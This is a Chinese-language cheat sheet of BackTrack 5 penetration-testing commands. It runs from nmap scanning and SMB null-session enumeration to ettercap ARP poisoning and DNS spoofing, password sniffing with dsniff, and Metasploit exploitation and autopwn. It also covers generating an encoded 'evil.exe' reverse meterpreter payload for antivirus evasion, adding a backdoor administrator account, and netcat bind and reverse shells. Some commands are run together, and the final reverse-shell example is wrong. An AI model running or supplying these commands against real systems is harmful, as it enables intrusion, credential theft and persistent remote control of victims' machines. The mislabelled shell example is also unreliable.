BT5常用配置命令1

BT5渗透常用命令整理:whois 域名/ip 查看域名的详细信息。

ping 域名/ip 测试本机到远端主机是否联通。

dig 域名/ip 查看域名解析的详细信息。

host -l 域名dns服务器传输zone。

扫描nmap:-sS 半开扫描TCP和SYN扫描。

-sT 完全TCP连接扫描。

-sU UDP扫描-PS syn包探测(防火墙探测)-PA ack包探测(防火墙探测)-PN 不ping。

-n 不dns解析。

-A -O和-sV。

-O 操作系统识别。

-sV 服务版本信息(banner)-p 端口扫描。

-T 设置时间级别(0-5)-iL 导入扫描结果。

-oG 输出扫描结果。

操作系统识别:p0f -i eth0 -U -p 开启混杂模式。

xprobe2 ip|域名检测os。

banner获取:nc ip port 检测端口是否打开。

telnet ip port 检测端口是否打开。

wget ip 下载主页。

cat index.html | more 显示主页代码。

q 退出。

windows枚举nmap -sS -p 139,445 ip 扫描windows。

cd /pentest/enumeration/smb-enumnbtscan -f targetIP 检测netbios。

smbgetserverinfo -i targetIP 扫描name,os,组。

smbdumpusers -i targetIP 列出用户。

smbclient -L //targetIP 列出共享。

使用windows:net use \\ip\ipc$ "" /u:"" 开启空会话。

net view \\ip 显示共享信息。

smbclient:smbclient -L hostName -I targetIP 枚举共享。

smbclient -L hostName/share -U "" 用空用户连接。

smbclient -L hostName -I targetIP -U admin普通用户连接。

rpcclient:rpcclient targetIP -U “”打开一个空会话。

netshareenum 枚举共享。

enumdomusers 枚举用户。

lsaenumsid 枚举域SID。

queryuser RID 查询用户信息。

createdomuser 创建用户访问。

ARP欺骗:ettercap:nano /usr/local/etc/etter.conf配置文件Sniff > Unified sniffing > Network interface: eth0 > OK 设置抓包的网卡Hosts > Scan for hosts (do this two times)扫描网段的主机Hosts > Hosts list 显示主机列表Select the default gateway > Add to Target 1 添加主机Select the target > Add to Target 2 添加主机Mitm > Arp poisoning > Sniff remote connections > OK 设置ARP攻击Start > Start sniffing 开始攻击dsniff -i eth0 监听网卡窃听登录用户密码urlsnarf -i eth0 嗅探http请求msgsnarf -i eth0 嗅探聊天软件的聊天内容driftnet -i eth0 网络管理嗅探图片，音频。

nano /usr/local/share/ettercap/etter.dns编辑配置文件Plugins > Manage the plugins > dns_spoof 设置dns欺骗Mitm > Arp poisoning > Sniff remote connections > OK 设置ARPStart > Start sniffing 开始攻击Exploits漏洞利用:cd /pentest/exploits/exploit-db 进入目录cat sploitlist.txt | grep -i [exploit] 查询需要的漏洞cat exploit | grep "#include"检查运行环境cat sploitlist.txt | grep -i exploit | cut -d " " -f1 | xargs grep sys | cut -d ":" -f1 | sort -u只保留可以在linux下运行的代码Metasploit:svn update 升级./msfweb Web接口127.0.0.1:55555。

../msfconsole 字符下的Console。

help 帮助show <option> 显示选项search <name> 搜索名字use <exploit name> 使用漏洞show options 显示选项set <OPTION NAME> <option> 设置选项show payloads 显示装置set PAYLOAD <payload name> 设置装置show options 显示选项set <OPTION NAME> <option> 设置选项show targets 显示目标(os版本)set TARGET <target number> 设置目标版本exploit 开始漏洞攻击sessions -l 列出会话sessions -i <ID> 选择会话sessions -k <ID> 结束会话<ctrl> z 把会话放到后台<ctrl> c 结束会话jobs 列出漏洞运行工作jobs -K 结束一个漏洞运行工作show auxiliary 显示辅助模块use <auxiliary name> 使用辅助模块set <OPTION NAME> <option> 设置选项run 运行模块scanner/smb/version 扫描系统版本scanner/mssql/mssql_ping 测试mssql是否在线scanner/mssql/mssql_login 测试登录(暴力或字典)Attacker behind firewall: bind shell正向Target behind firewall: reverse shell反向Meterpreter衔接不懂dos的可以用这个:db_import_nessus_nbe 加载nessus的扫描结果db_import_nmap_xml 加载nmap的扫描结果自动化攻击流程:cd /pentest/exploit/framework3./msfconsoleload db_sqlite3db_destroy pentestdb_create pentestdb_nmap targetIPdb_hostsdb_servicesdb_autopwn -t -p -e字符接口攻击流程:./msfcli | grep -i <name>./msfcli <exploit or auxiliary> S./msfcli <exploit name> <OPTION NAME>=<option> PAYLOAD=<payload name> E 做木马后门等:./msfpayload <payload> <variable=value> <output type>S summary and options of payloadC C languageP Perly RubyR Raw, allows payload to be piped into msfencode and other toolsJ JavaScriptX Windows executable./msfpayload windows/shell/reverse_tcp LHOST=10.1.1.1 C./msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=4444 X > evil.exe 编码处理就是做免杀:./msfencode <options> <variable=value>./msfpayload linux_ia32_bind LPORT=4444 R | ./msfencode -b '\x00' -l./msfpayload linux_ia32_bind LPORT=4444 R | ./msfencode -b '\x00' -e PexFnstenvMor -t c入侵后在windows下添加管理员用户:hostname 查看主机名net users 查看用户net user 用户密码/add 添加用户net localgroup 查看工作组net localgroup administrators 查看管理员组net localgroup administrators x /add 将用户加入管理员组TFTPcp /pentest/windows-binaries/tools/nc.exe /tmp/传递到tftp上tftp -i 10.1.1.2 GET nc.exe下载netcat瑞士军刀attacker: 10.1.1.1target: 10.1.1.2nc -v -z 10.1.1.2 1-1024 端口扫描target: nc -lvp 4444 聊天设置(服务)attacker: nc -v 10.1.1.2 4444 聊天设置(客户)target: nc -lvp 4444 > output.txt传输文件(接受)attacker: nc -v 10.1.1.2 4444 < test.txt传输文件(发送)target: nc -lvp 4444 -e cmd.exe Bind shell。

attacker: nc -v 10.1.1.2 4444target:nc -lvp 4444 Reverse shell。